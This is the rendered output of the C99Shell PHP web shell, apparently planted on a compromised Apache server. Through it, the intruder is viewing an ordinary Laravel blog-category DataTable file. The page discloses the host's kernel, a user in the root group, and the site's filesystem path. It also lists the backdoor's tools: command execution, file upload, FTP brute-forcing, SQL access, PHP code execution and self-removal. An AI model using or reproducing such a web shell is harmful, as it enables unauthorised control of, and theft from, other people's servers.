!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Blog/DataTables/   drwxr-xr-x
Free 26.49 GB of 117.98 GB (22.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BlogCategoryDataTable.php (4.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package BlogCategoryDataTable
 * @author TechVillage <support@techvill.org>
 * @contributor Kabir Ahmed <[kabir.techvill@gmail.com]>
 * @created 29-12-2021
 */

namespace Modules\Blog\DataTables;

use 
App\DataTables\DataTable;
use 
Modules\Blog\Http\Models\BlogCategory;

class 
BlogCategoryDataTable extends DataTable
{
    
/*
    * DataTable Ajax
    *
    * @return \Yajra\DataTables\DataTableAbstract|\Yajra\DataTables\DataTables
    */
    
public function ajax()
    {
        
$category $this->query();
        return 
datatables()
            ->
of($category)

            ->
editColumn('name', function ($category) {
                return 
wrapIt(ucfirst($category->name), 30);
            })->
editColumn('status', function ($category) {
                return 
statusBadges(lcfirst($category->status));
            })->
editColumn('created_at', function ($category) {
                return 
$category->format_created_at;
            })->
addColumn('action', function ($category) {
                
$edit '<a title="' __('Edit :x', ['x' => __('Category')]) . '" href="javascript:void(0) " class="btn btn-xs btn-primary edit-blog-category" data-bs-toggle="modal" data-bs-target="#edit-payment" id="'$category->id .'" name="'$category->name .'" status="'$category->status .'"><i class="feather icon-edit neg-transition-scale-svg  edit-blog-category"></i></a>&nbsp';

                
$delete '<form method="post" action="' route('blog.category.delete', ['id' => $category->id]) . '" id="delete-Category-'$category->id '" accept-charset="UTF-8" class="display_inline">
                        ' 
csrf_field() . '
                        <button title="' 
__('Delete :x', ['x' => __('Category.')]) . '" class="btn btn-xs btn-danger confirm-delete" type="button" data-id=' $category->id ' data-label="Delete" data-delete="Category" data-bs-toggle="modal" data-bs-target="#confirmDelete" data-title="' __('Delete :x', ['x' => __('Category')]) . '" data-message="' __('Are you sure to delete this?') . '">
                        <i class="feather icon-trash-2"></i>
                        </button>
                        </form>'
;
                
$str '';
                if (
$this->hasPermission(['Modules\Blog\Http\Controllers\BlogCategoryController@update'])) {
                    
$str .= $edit;
                }
                if (
$this->hasPermission(['Modules\Blog\Http\Controllers\BlogCategoryController@delete']) && $category->id != 1) {
                    
$str .= $delete;
                }
                return 
$str;
            })

            ->
rawColumns(['name''status''action'])
            ->
filter(function ($instance){
                if (
request('status') && (request('status') == 'Active' || request('status') == 'Inactive' )) {
                    
$instance->where('status'request('status'));
                }
                if (
request('category_id')) {
                    
$instance->where('id'request('category_id'));
                }
                if (isset(
request('search')['value'])) {
                    
$keyword xss_clean(request('search')['value']);
                    if (!empty(
$keyword)) {
                        
$instance->where(function ($query) use ($keyword) {
                            
$query->Where('name''like''%' $keyword '%');
                        });
                    }
                }
            })
            ->
make(true);
    }

    
/*
    * DataTable Query
    *
    * @return mixed
    */
    
public function query()
    {
        
$category BlogCategory::getAllBlogCategory();
        return 
$this->applyScopes($category);
    }

    
/*
    * DataTable HTML
    *
    * @return \Yajra\DataTables\Html\Builder
    */
    
public function html()
    {
        return 
$this->builder()

        ->
addColumn(['data' => 'name''name' => 'name''title' => __('Name')])
        ->
addColumn(['data' => 'status''name' => 'status''title' => __('Status'),'orderable' => false'searchable' => false])
        ->
addColumn(['data' => 'created_at''name' => 'created_at''title' => __('Created At')])
        ->
addColumn(['data'=> 'action''name' => 'action''title' => __('Action'), 'width' => '10%',
        
'visible' => $this->hasPermission(['Modules\Blog\Http\Controllers\BlogCategoryController@edit''Modules\Blog\Http\Controllers\BlogCategoryController@delete']),
        
'orderable' => false'searchable' => false])
        ->
parameters(dataTableOptions());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--